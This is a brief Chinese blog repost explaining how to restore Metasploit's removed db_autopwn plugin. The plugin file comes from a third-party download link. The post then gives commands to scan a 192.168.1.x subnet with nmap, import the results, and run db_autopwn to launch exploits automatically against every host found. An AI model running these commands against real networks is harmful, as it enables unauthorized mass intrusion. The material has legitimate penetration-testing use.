将附件db_autopwn.rp
拷贝到/opt/framework3/msf3/plugins/
PS:db_autopwn.rp 下载地址:http://dl.vmall.com/c04w8czlcj
1
msf
> load db_autopwn
2
[*] Successfully loaded
plugin: db_autopwn
3
msf
>
4
msf >
db_
5
db_autopwn db_disconnect db_export
db_nmap
6
db_connect db_driver db_import
db_status
用法:
1、扫存活主机:对192.168.1.1—192.168.1.255
进行扫描,并生成Subnet1.xml文件
1
root@bt:~# nmap -sS -Pn
-A -oX Subnet1
192.168.1.1/255
2、导入扫描结果
1
msf>db_import
Subnet1
3、启动自动攻击
1
msf>db_autopwn
-p -t -e
Metasploit没有db_autopwn命令的解决办法,布布扣,bubuko.com
原文:http://www.cnblogs.com/daban/p/3761103.html